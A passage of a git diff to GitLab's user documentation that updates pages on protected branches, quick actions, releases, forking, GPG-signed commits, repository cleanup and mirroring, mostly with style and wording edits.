> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5081) in [GitLab Starter](https://about.gitlab.com/pricing/) 8.11.
@@ -143,7 +170,7 @@ From time to time, it may be required to delete or clean up branches that are
protected.
User with [Maintainer permissions](../permissions.md) and up can manually delete protected
-branches via GitLab's web interface:
+branches via the GitLab web interface:
1. Visit **Repository > Branches**
1. Click on the delete icon next to the branch you wish to delete
@@ -197,6 +224,10 @@ for details about the pipelines security model.
## Changelog
+**13.5**
+
+- [Allow Deploy keys to push to protected branches once more](https://gitlab.com/gitlab-org/gitlab/-/issues/30769).
+
**11.9**
- [Allow protected branches to be created](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53361) by Developers (and users with higher permission levels) through the API and the user interface.
diff --git a/doc/user/project/protected_tags.md b/doc/user/project/protected_tags.md
index 5dd2a72c91e..7e09c526312 100644
--- a/doc/user/project/protected_tags.md
+++ b/doc/user/project/protected_tags.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
diff --git a/doc/user/project/push_options.md b/doc/user/project/push_options.md
index db9e2f270e0..8af4307c013 100644
--- a/doc/user/project/push_options.md
+++ b/doc/user/project/push_options.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
@@ -17,7 +17,7 @@ Currently, there are push options available for:
- [Skipping CI jobs](#push-options-for-gitlab-cicd)
- [Merge requests](#push-options-for-merge-requests)
-NOTE: **Note:**
+NOTE:
Git push options are only available with Git 2.10 or newer.
For Git versions 2.10 to 2.17 use `--push-option`:
diff --git a/doc/user/project/quick_actions.md b/doc/user/project/quick_actions.md
index 46db7293711..9f849051f40 100644
--- a/doc/user/project/quick_actions.md
+++ b/doc/user/project/quick_actions.md
@@ -2,7 +2,7 @@
type: reference
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Quick Actions
@@ -13,7 +13,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> quick actions when updating the description of issues, epics, and merge requests.
Quick actions are textual shortcuts for common actions on issues, epics, merge requests,
-and commits that are usually done by clicking buttons or dropdowns in GitLab's UI.
+and commits that are usually done by clicking buttons or dropdowns in the GitLab UI.
You can enter these commands in the description or in comments of issues, epics, merge requests, and commits.
Each command should be on a separate line in order to be properly detected and executed.
@@ -34,6 +34,7 @@ The following quick actions are applicable to descriptions, discussions and thre
| `/award :emoji:` | ✓ | ✓ | ✓ | Toggle emoji award. |
| `/child_epic <epic>` | | | ✓ | Add child epic to `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic ([introduced in GitLab 12.0](https://gitlab.com/gitlab-org/gitlab/-/issues/7330)). **(ULTIMATE)** |
| `/clear_weight` | ✓ | | | Clear weight. **(STARTER)** |
+| `/clone <path/to/project> [--with_notes]`| ✓ | | | Clone the issue to given project, or the current one if no arguments are given ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9421) in GitLab 13.7). Copies as much data as possible as long as the target project contains equivalent labels, milestones, and so on. Does not copy comments or system notes unless `--with_notes` is provided as an argument. |
| `/close` | ✓ | ✓ | ✓ | Close. |
| `/confidential` | ✓ | | | Make confidential. |
| `/copy_metadata <!merge_request>` | ✓ | ✓ | | Copy labels and milestone from another merge request in the project. |
diff --git a/doc/user/project/releases.md b/doc/user/project/releases.md
index baa7a295273..6dd5a6f0b0d 100644
--- a/doc/user/project/releases.md
+++ b/doc/user/project/releases.md
@@ -3,3 +3,6 @@ redirect_to: 'releases/index.md'
---
This document was moved to [another location](releases/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md
index 674fe8b22b8..7b412270938 100644
--- a/doc/user/project/releases/index.md
+++ b/doc/user/project/releases/index.md
@@ -1,8 +1,8 @@
---
type: reference, howto
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Releases
@@ -79,6 +79,16 @@ To create a new release through the GitLab UI:
[release notes](#release-notes-description), or [assets links](#links).
1. Click **Create release**.
+### Create release from GitLab CI
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19298) in GitLab 12.7.
+
+You can [create a release directly from the GitLab CI pipeline](../../../ci/yaml/README.md#release)
+by using a `release` node in the job definition.
+
+The release is created only if the job processes without error. If the Rails API returns an error
+during release creation, the release job fails.
+
### Schedule a future release
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/38105) in GitLab 12.1.
@@ -213,7 +223,7 @@ To set a deploy freeze window in the UI, complete these steps:
![Deploy freeze modal for setting a deploy freeze period](img/deploy_freeze_v13_2.png)
-CAUTION: **Caution:**
+WARNING:
To edit or delete a deploy freeze, use the [Freeze Periods API](../../../api/freeze_periods.md).
If a project contains multiple freeze periods, all periods apply. If they overlap, the freeze covers the
@@ -460,7 +470,7 @@ In the API:
> [Introduced](https://gitlab.com/gitlab-org/release-cli/-/merge_requests/6) in GitLab 12.10.
The Release CLI is a command-line tool for managing GitLab Releases from the command line or from
-GitLab's CI/CD configuration file, `.gitlab-ci.yml`.
+the GitLab CI/CD configuration file, `.gitlab-ci.yml`.
With it, you can create, update, modify, and delete releases right through the
terminal.
diff --git a/doc/user/project/repository/branches/index.md b/doc/user/project/repository/branches/index.md
index a937b6ed959..ffd4b383bcb 100644
--- a/doc/user/project/repository/branches/index.md
+++ b/doc/user/project/repository/branches/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: concepts, howto
---
diff --git a/doc/user/project/repository/file_finder.md b/doc/user/project/repository/file_finder.md
index 99319efbb7f..4f996df5fef 100644
--- a/doc/user/project/repository/file_finder.md
+++ b/doc/user/project/repository/file_finder.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Editor
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/file_finder.html'
---
@@ -40,7 +40,7 @@ the `app/controllers/admin/deploy_keys_controller.rb` file.
Using a fuzzy search, we start by typing letters that get us closer to the file.
-TIP: **Tip:**
+NOTE:
To narrow down your search, include `/` in your search terms.
![Find file button](img/file_finder_find_file_v12_10.png)
diff --git a/doc/user/project/repository/forking_workflow.md b/doc/user/project/repository/forking_workflow.md
index b0aa7569579..75e1aea632f 100644
--- a/doc/user/project/repository/forking_workflow.md
+++ b/doc/user/project/repository/forking_workflow.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/forking_workflow.html'
---
@@ -26,18 +26,18 @@ Forking a project is, in most cases, a two-step process.
1. Click a namespace to fork to. Only namespaces you have Developer and higher [permissions](../../permissions.md) for are shown.
- NOTE: **Note:**
+ NOTE:
The project path must be unique within the namespace.
![Choose namespace](img/forking_workflow_choose_namespace_v13_2.png)
The fork is created. The permissions you have in the namespace are the permissions you will have in the fork.
-CAUTION: **Caution:**
+WARNING:
In GitLab 12.6 and later, when project owners [reduce a project's visibility](../../../public_access/public_access.md#reducing-visibility),
it **removes the relationship** between a project and all its forks.
-CAUTION: **Caution:**
+WARNING:
When a public project with the repository feature set to "Members
only" is forked, the repository will be public in the fork. The owner
of the fork will need to manually change the visibility. This is being
@@ -52,7 +52,7 @@ The main difference is that with repository mirroring your remote fork will be a
Without mirroring, to work locally you'll have to use `git pull` to update your local repository
with the upstream project, then push the changes back to your fork to update it.
-CAUTION: **Caution:**
+WARNING:
With mirroring, before approving a merge request, you'll likely be asked to sync; hence automating it is recommended.
Read more about [How to keep your fork up to date with its origin](https://about.gitlab.com/blog/2016/12/01/how-to-keep-your-fork-up-to-date-with-its-origin/).
@@ -63,7 +63,7 @@ When you are ready to send your code back to the upstream project,
[create a merge request](../merge_requests/creating_merge_requests.md). For **Source branch**,
choose your forked project's branch. For **Target branch**, choose the original project's branch.
-NOTE: **Note:**
+NOTE:
When creating a merge request, if the forked project's visibility is more restrictive than the parent project (for example the fork is private, the parent is public), the target branch will default to the forked project's default branch. This prevents potentially exposing the private code of the forked project.
![Selecting branches](img/forking_workflow_branch_select.png)
diff --git a/doc/user/project/repository/git_blame.md b/doc/user/project/repository/git_blame.md
index a423f58ba21..4322c79daa7 100644
--- a/doc/user/project/repository/git_blame.md
+++ b/doc/user/project/repository/git_blame.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
description: "Documentation on Git file blame."
---
diff --git a/doc/user/project/repository/git_history.md b/doc/user/project/repository/git_history.md
index 6cc05d2192f..51cc6bb3483 100644
--- a/doc/user/project/repository/git_history.md
+++ b/doc/user/project/repository/git_history.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
description: "Documentation on Git file history."
---
diff --git a/doc/user/project/repository/gpg_signed_commits/index.md b/doc/user/project/repository/gpg_signed_commits/index.md
index 646d708d896..57e9d814c95 100644
--- a/doc/user/project/repository/gpg_signed_commits/index.md
+++ b/doc/user/project/repository/gpg_signed_commits/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: concepts, howto
---
@@ -15,7 +15,7 @@ commits are labeled **Verified** if the identity of the committer can be
verified. To verify the identity of a committer, GitLab requires their public
GPG key.
-NOTE: **Note:**
+NOTE:
The term GPG is used for all OpenPGP/PGP/GPG related material and
implementations.
@@ -53,7 +53,7 @@ started:
gpg --full-gen-key
```
- NOTE: **Note:**
+ NOTE:
In some cases like Gpg4win on Windows and other macOS versions, the command
here may be `gpg --gen-key`.
@@ -142,7 +142,7 @@ started:
## Adding a GPG key to your account
-NOTE: **Note:**
+NOTE:
Once you add a key, you cannot edit it, only remove it. In case the paste
didn't work, you'll have to remove the offending key and re-add it.
diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md
index 40bf40a3dba..e1d84baec4d 100644
--- a/doc/user/project/repository/index.md
+++ b/doc/user/project/repository/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
@@ -48,7 +48,7 @@ to your repository's root.
**From the user interface:**
-GitLab's UI allows you to perform lots of Git commands without having to
+The GitLab UI allows you to perform lots of Git commands without having to
touch the command line. Even if you use the command line regularly, sometimes
it's easier to do so [via GitLab UI](web_editor.md):
@@ -67,7 +67,7 @@ To get started with the command line, please read through the
### Find files
-Use GitLab's [file finder](file_finder.md) to search for files in a repository.
+Use the GitLab [file finder](file_finder.md) to search for files in a repository.
### Supported markup languages and extensions
@@ -141,7 +141,7 @@ their filenames include `openapi` or `swagger` and their extension is `yaml`,
Then, to render them:
-1. Navigate to the OpenAPI file in your repository in GitLab's UI.
+1. Navigate to the OpenAPI file in your repository in the GitLab UI.
1. Click the "Display OpenAPI" button which is located between the "Display source"
and "Edit" buttons (when an OpenAPI file is found, it replaces the
"Display rendered file" button).
@@ -189,7 +189,7 @@ updated every 15 minutes at most, so may not reflect recent activity. The displa
The project size may differ slightly from one instance to another due to compression, housekeeping, and other factors.
-[Repository size limit](../../admin_area/settings/account_and_limit_settings.md) may be set by admins.
+[Repository size limit](../../admin_area/settings/account_and_limit_settings.md) may be set by administrators.
GitLab.com's repository size limit [is set by GitLab](../../gitlab_com/index.md#account-and-limit-settings).
## Contributors
diff --git a/doc/user/project/repository/jupyter_notebooks/index.md b/doc/user/project/repository/jupyter_notebooks/index.md
index 69a32841981..91fe9049b53 100644
--- a/doc/user/project/repository/jupyter_notebooks/index.md
+++ b/doc/user/project/repository/jupyter_notebooks/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
# Jupyter Notebook Files
diff --git a/doc/user/project/repository/reducing_the_repo_size_using_git.md b/doc/user/project/repository/reducing_the_repo_size_using_git.md
index 9f4dfe54c47..fb798738160 100644
--- a/doc/user/project/repository/reducing_the_repo_size_using_git.md
+++ b/doc/user/project/repository/reducing_the_repo_size_using_git.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Gitaly
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -18,12 +18,12 @@ We **recommend [`git filter-repo`](https://github.com/newren/git-filter-repo/blo
over [`git filter-branch`](https://git-scm.com/docs/git-filter-branch) and
[BFG](https://rtyley.github.io/bfg-repo-cleaner/).
-DANGER: **Warning:**
+WARNING:
Rewriting repository history is a destructive operation. Make sure to back up your repository before
you begin. The best way back up a repository is to
[export the project](../settings/import_export.md#exporting-a-project-and-its-data).
-NOTE: **Note:**
+NOTE:
Git LFS files can only be removed by an Administrator using a
[Rake task](../../../raketasks/cleanup.md). Removal of this limitation
[is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/223621).
@@ -87,7 +87,7 @@ download all the advertised refs.
git push origin --force 'refs/heads/*'
```
- [Protected branches](../protected_branches.md) will cause this to fail. To proceed, you must
+ [Protected branches](../protected_branches.md) cause this to fail. To proceed, you must
remove branch protection, push, and then re-enable protected branches.
1. To remove large files from tagged releases, force push your changes to all tags on GitLab:
@@ -96,7 +96,7 @@ download all the advertised refs.
git push origin --force 'refs/tags/*'
```
- [Protected tags](../protected_tags.md) will cause this to fail. To proceed, you must remove tag
+ [Protected tags](../protected_tags.md) cause this to fail. To proceed, you must remove tag
protection, push, and then re-enable protected tags.
1. To prevent dead links to commits that no longer exist, push the `refs/replace` created by `git filter-repo`.
@@ -109,7 +109,7 @@ download all the advertised refs.
1. Run a [repository cleanup](#repository-cleanup).
-NOTE: **Note:**
+NOTE:
Project statistics are cached for performance. You may need to wait 5-10 minutes
to see a reduction in storage utilization.
@@ -131,7 +131,7 @@ To purge files from GitLab storage:
tar xzf project-backup.tar.gz
```
- This will contain a `project.bundle` file, which was created by
+ This contains a `project.bundle` file, which was created by
[`git bundle`](https://git-scm.com/docs/git-bundle).
1. Clone a fresh copy of the repository from the bundle:
@@ -141,12 +141,12 @@ To purge files from GitLab storage:
```
1. Using `git filter-repo`, purge any files from the history of your repository. Because we are
- trying to remove internal refs, we will rely on the `commit-map` produced by each run to tell us
+ trying to remove internal refs, we rely on the `commit-map` produced by each run to tell us
which internal refs to remove.
- NOTE: **Note:**
+ NOTE:
`git filter-repo` creates a new `commit-map` file every run, and overwrite the `commit-map` from
- the previous run. You will need this file from **every** run. Do the next step every time you run
+ the previous run. You need this file from **every** run. Do the next step every time you run
`git filter-repo`.
To purge all large files, the `--strip-blobs-bigger-than` option can be used:
@@ -178,7 +178,7 @@ To purge files from GitLab storage:
git push origin --force 'refs/heads/*'
```
- [Protected branches](../protected_branches.md) will cause this to fail. To proceed, you must
+ [Protected branches](../protected_branches.md) cause this to fail. To proceed, you must
remove branch protection, push, and then re-enable protected branches.
1. To remove large files from tagged releases, force push your changes to all tags on GitLab:
@@ -187,7 +187,7 @@ To purge files from GitLab storage:
git push origin --force 'refs/tags/*'
```
- [Protected tags](../protected_tags.md) will cause this to fail. To proceed, you must remove tag
+ [Protected tags](../protected_tags.md) cause this to fail. To proceed, you must remove tag
protection, push, and then re-enable protected tags.
1. To prevent dead links to commits that no longer exist, push the `refs/replace` created by `git filter-repo`.
@@ -202,19 +202,19 @@ To purge files from GitLab storage:
## Repository cleanup
-NOTE: **Note:**
-Safely cleaning the repository requires it to be made read-only for the duration
-of the operation. This happens automatically, but submitting the cleanup request
-will fail if any writes are ongoing, so cancel any outstanding `git push`
-operations before continuing.
-
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/19376) in GitLab 11.6.
-Repository cleanup allows you to upload a text file of objects and GitLab will remove internal Git
+Repository cleanup allows you to upload a text file of objects and GitLab removes internal Git
references to these objects. You can use
[`git filter-repo`](https://github.com/newren/git-filter-repo) to produce a list of objects (in a
`commit-map` file) that can be used with repository cleanup.
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45058) in GitLab 13.6,
+safely cleaning the repository requires it to be made read-only for the duration
+of the operation. This happens automatically, but submitting the cleanup request
+fails if any writes are ongoing, so cancel any outstanding `git push`
+operations before continuing.
+
To clean up a repository:
1. Go to the project for the repository.
@@ -230,25 +230,30 @@ To clean up a repository:
1. Click **Start cleanup**.
-This will:
+This:
-- Remove any internal Git references to old commits.
-- Run `git gc` against the repository to remove unreferenced objects. Repacking your repository will temporarily
- cause the size of your repository to increase significantly, because the old pack files are not removed until the
+- Removes any internal Git references to old commits.
+- Runs `git gc --prune=30.minutes.ago` against the repository to remove unreferenced objects. Repacking your repository temporarily
+ causes the size of your repository to increase significantly, because the old pack files are not removed until the
new pack files have been created.
-- Unlink any unused LFS objects currently attached to your project, freeing up storage space.
-- Recalculate the size of your repository on disk.
+- Unlinks any unused LFS objects currently attached to your project, freeing up storage space.
+- Recalculates the size of your repository on disk.
+
+GitLab sends an email notification with the recalculated repository size after the cleanup has completed.
-You will receive an email notification with the recalculated repository size after the cleanup has completed.
+If the repository size does not decrease, this may be caused by loose objects
+being kept around because they were referenced in a Git operation that happened
+in the last 30 minutes. Try re-running these steps once the repository has been
+dormant for at least 30 minutes.
When using repository cleanup, note:
- Project statistics are cached. You may need to wait 5-10 minutes to see a reduction in storage utilization.
-- Housekeeping prunes loose objects older than 2 weeks. This means objects added in the last 2 weeks
- will not be removed immediately. If you have access to the
- [Gitaly](../../../administration/gitaly/index.md) server, you may run `git gc --prune=now` to
+- The cleanup prunes loose objects older than 30 minutes. This means objects added or referenced in the last 30 minutes
+ are not be removed immediately. If you have access to the
+ [Gitaly](../../../administration/gitaly/index.md) server, you may slip that delay and run `git gc --prune=now` to
prune all loose objects immediately.
-- This process will remove some copies of the rewritten commits from GitLab's cache and database,
+- This process removes some copies of the rewritten commits from the GitLab cache and database,
but there are still numerous gaps in coverage and some of the copies may persist indefinitely.
[Clearing the instance cache](../../../administration/raketasks/maintenance.md#clear-redis-cache)
may help to remove some of them, but it should not be depended on for security purposes!
@@ -289,8 +294,8 @@ size of the repository, because the earlier commits and blobs still exist. Inste
history. We recommend the open-source community-maintained tool
[`git filter-repo`](https://github.com/newren/git-filter-repo).
-NOTE: **Note:**
-Until `git gc` runs on the GitLab side, the "removed" commits and blobs will still exist. You also
+NOTE:
+Until `git gc` runs on the GitLab side, the "removed" commits and blobs still exist. You also
must be able to push the rewritten history to GitLab, which may be impossible if you've already
exceeded the maximum size limit.
@@ -302,9 +307,9 @@ increased, your only option is to:
1. Prune all the unneeded stuff locally.
1. Create a new project on GitLab and start using that instead.
-CAUTION: **Caution:**
+WARNING:
This process is not suitable for removing sensitive data like password or keys from your repository.
-Information about commits, including file content, is cached in the database, and will remain
+Information about commits, including file content, is cached in the database, and remain
visible even after they have been removed from the repository.
## Troubleshooting
diff --git a/doc/user/project/repository/repository_mirroring.md b/doc/user/project/repository/repository_mirroring.md
index 1f9835f4f59..96694a9e954 100644
--- a/doc/user/project/repository/repository_mirroring.md
+++ b/doc/user/project/repository/repository_mirroring.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/repository_mirroring.html'
---
@@ -11,8 +11,7 @@ Repository mirroring allows for mirroring of repositories to and from external s
used to mirror branches, tags, and commits between repositories.
A repository mirror at GitLab will be updated automatically. You can also manually trigger an update
-at most once every 5 minutes. Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/237891)
-for discussions on how to potentially reduce the delay.
+at most once every 5 minutes on GitLab.com with [the limit set by the administrator on self-managed instances](../../../administration/instance_limits.md#pull-mirroring-interval).
## Overview
@@ -30,7 +29,7 @@ Users with at least [Developer access](../../permissions.md) to the project can
immediate update, unless:
- The mirror is already being updated.
-- 5 minutes haven't elapsed since its last update.
+- The [limit for pull mirroring interval seconds](../../../administration/instance_limits.md#pull-mirroring-interval) has not elapsed since its last update.
For security reasons, in [GitLab 12.10 and later](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27166),
the URL to the original repository is only displayed to users with
@@ -117,14 +116,14 @@ skipped, allowing `master` and `stable` to be updated. The mirror status will
reflect that `develop` has diverged and was skipped, and be marked as a failed
update.
-NOTE: **Note:**
+NOTE:
After the mirror is created, this option can currently only be modified via the [API](../../../api/remote_mirrors.md).
## Setting up a push mirror from GitLab to GitHub **(CORE)**
To set up a mirror from GitLab to GitHub, you need to follow these steps:
-1. Create a [GitHub personal access token](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token) with the `public_repo` box checked.
+1. Create a [GitHub personal access token](https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/creating-a-personal-access-token) with the `public_repo` box checked.
1. Fill in the **Git repository URL** field using this format: `https://<your_github_username>@github.com/<your_github_group>/<your_github_project>.git`.
1. Fill in **Password** field with your GitHub personal access token.
1. Click the **Mirror repository** button.
@@ -137,11 +136,11 @@ The repository will push soon. To force a push, click the **Update now** (**{ret
AWS CodeCommit push mirroring is currently the best way to connect GitLab repositories to AWS CodePipeline, as GitLab is not yet supported as one of their Source Code Management (SCM) providers.
-Each new AWS Codepipeline needs significant AWS infrastructure setup. It also requires an individual pipeline per branch.
+Each new AWS CodePipeline needs significant AWS infrastructure setup. It also requires an individual pipeline per branch.
If AWS CodeDeploy is the final step of a CodePipeline, you can, instead, leverage GitLab CI/CD pipelines and simply use the AWS CLI in the final job in `.gitlab-ci.yml` to deploy to CodeDeploy.
-NOTE: **Note:**
+NOTE:
GitLab-to-AWS-CodeCommit push mirroring cannot use SSH authentication until [GitLab issue 34014](https://gitlab.com/gitlab-org/gitlab/-/issues/34014) is resolved.
To set up a mirror from GitLab to AWS CodeCommit:
@@ -177,7 +176,7 @@ To set up a mirror from GitLab to AWS CodeCommit:
1. Click the **Security credentials** tab.
1. Under **HTTPS Git credentials for AWS CodeCommit** click **Generate credentials**.
- NOTE: **Note:**
+ NOTE:
This Git user ID and password is specific to communicating with CodeCommit. Do
not confuse it with the IAM user ID or AWS keys of this user.
@@ -256,7 +255,7 @@ Changes pushed to the upstream repository will be pulled into the GitLab reposit
- Automatically within a certain period of time.
- When a [forced update](#forcing-an-update) is initiated.
-CAUTION: **Caution:**
+WARNING:
If you do manually update a branch in the GitLab repository, the branch will become diverged from
upstream and GitLab will no longer automatically update this branch to prevent any changes from being lost.
Also note that deleted branches and tags in the upstream repository will not be reflected in the GitLab repository.
@@ -301,7 +300,7 @@ To get started:
1. Navigate to your project's **Settings > Repository** and expand the **Mirroring repositories** section.
1. Enter an `ssh://` URL for mirroring.
-NOTE: **Note:**
+NOTE:
SCP-style URLs (that is, `git@example.com:group/project.git`) are not supported at this time.
Entering the URL adds two buttons to the page:
@@ -320,7 +319,7 @@ fingerprints in the open for you to check:
- [AWS CodeCommit](https://docs.aws.amazon.com/codecommit/latest/userguide/regions.html#regions-fingerprints)
- [Bitbucket](https://support.atlassian.com/bitbucket-cloud/docs/configure-ssh-and-two-step-verification/)
-- [GitHub](https://docs.github.com/en/github/authenticating-to-github/githubs-ssh-key-fingerprints)
+- [GitHub](https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/githubs-ssh-key-fingerprints)
- [GitLab.com](../../gitlab_com/index.md#ssh-host-keys-fingerprints)
- [Launchpad](https://help.launchpad.net/SSHFingerprints)
- [Savannah](http://savannah.gnu.org/maintenance/SshAccess/)
@@ -337,7 +336,7 @@ $ cat /etc/ssh/ssh_host*pub | ssh-keygen -E md5 -l -f -
2048 MD5:3f:72:be:3d:62:03:5c:62:83:e8:6e:14:34:3a:85:1d root@example.com (RSA)
```
-NOTE: **Note:**
+NOTE:
You may need to exclude `-E md5` for some older versions of SSH.
When mirroring the repository, GitLab will now check that at least one of the
@@ -364,7 +363,7 @@ If you need to change the key at any time, you can remove and re-add the mirror
to generate a new key. You'll have to update the other repository with the new
key to keep the mirror running.
-NOTE: **Note:**
+NOTE:
The generated keys are stored in the GitLab database, not in the filesystem. Therefore,
SSH public key authentication for mirrors cannot be used in a pre-receive hook.
@@ -375,7 +374,7 @@ SSH public key authentication for mirrors cannot be used in a pre-receive hook.
You can choose to always update your local branches with remote versions, even if they have
diverged from the remote.
-CAUTION: **Caution:**
+WARNING:
For mirrored branches, enabling this option results in the loss of local changes.
To use this option, check the **Overwrite diverged branches** box when creating a repository mirror.
@@ -421,7 +420,7 @@ update button which is available on the **Mirroring repositories** section of th
## Bidirectional mirroring **(STARTER)**
-CAUTION: **Caution:**
+WARNING:
Bidirectional mirroring may cause conflicts.
If you configure a GitLab repository to both pull from, and push to, the same remote source, there
@@ -464,7 +463,7 @@ To do this:
### Preventing conflicts using a `pre-receive` hook
-CAUTION: **Warning:**
+WARNING:
The solution proposed will negatively impact the performance of
Git push operations because they will be proxied to the upstream Git
repository.
@@ -547,7 +546,7 @@ Note that this sample has a few limitations:
### Mirroring with Perforce Helix via Git Fusion **(STARTER)**
-CAUTION: **Warning:**
+WARNING:
Bidirectional mirroring should not be used as a permanent configuration. Refer to
[Migrating from Perforce Helix](../import/perforce.md) for alternative migration approaches.
diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md
index 5b82cdbd9e9..24bfeee5e7f 100644
--- a/doc/user/project/repository/web_editor.md
+++ b/doc/user/project/repository/web_editor.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Editor
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -32,7 +32,7 @@ When you are satisfied with your new file, click **Commit Changes** at the botto
### Shortcuts
You can use handy shortcuts when editing a file through the Web Editor, which are the same as
-the WEB IDE's. For details, see the documentation for [Command Palette](../web_ide/index.md#command-palette).
+the Web IDE's. For details, see the documentation for [Command Palette](../web_ide/index.md#command-palette).
### Template dropdowns
@@ -53,7 +53,7 @@ has already been created, which creates a link to the license itself.
![New file button](img/web_editor_template_dropdown_buttons.png)
-NOTE: **Note:**
+NOTE:
The **Set up CI/CD** button will not appear on an empty repository. You have to at
least add a file in order for the button to show up.
@@ -94,7 +94,7 @@ the target branch. Click **Create directory** to finish.
## Create a new branch
-There are multiple ways to create a branch from GitLab's web interface.
+There are multiple ways to create a branch from the GitLab web interface.
### Create a new branch from an issue
@@ -106,7 +106,7 @@ The new branch, and later its merge request, will be marked as related to this i
